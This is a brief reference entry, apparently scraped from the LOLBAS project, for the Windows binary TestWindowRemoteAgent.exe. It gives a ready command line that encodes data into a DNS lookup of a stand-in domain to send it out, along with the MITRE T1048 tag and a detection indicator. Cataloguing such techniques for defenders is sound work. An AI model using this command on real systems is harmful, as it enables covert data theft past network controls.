Upload File Upload Windows Sends DNS query for open connection to any host, enabling exfiltration over DNS Use Attackers may utilize this to exfiltrate data over DNS TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000 copy Contextuser NativeUpload MITRET1048 DetectionIOC: TestWindowRemoteAgent.exe spawning unexpectedly Refslolbas-project.github.io/lolbas/OtherMSBinaries/TestWindowRemoteAgent/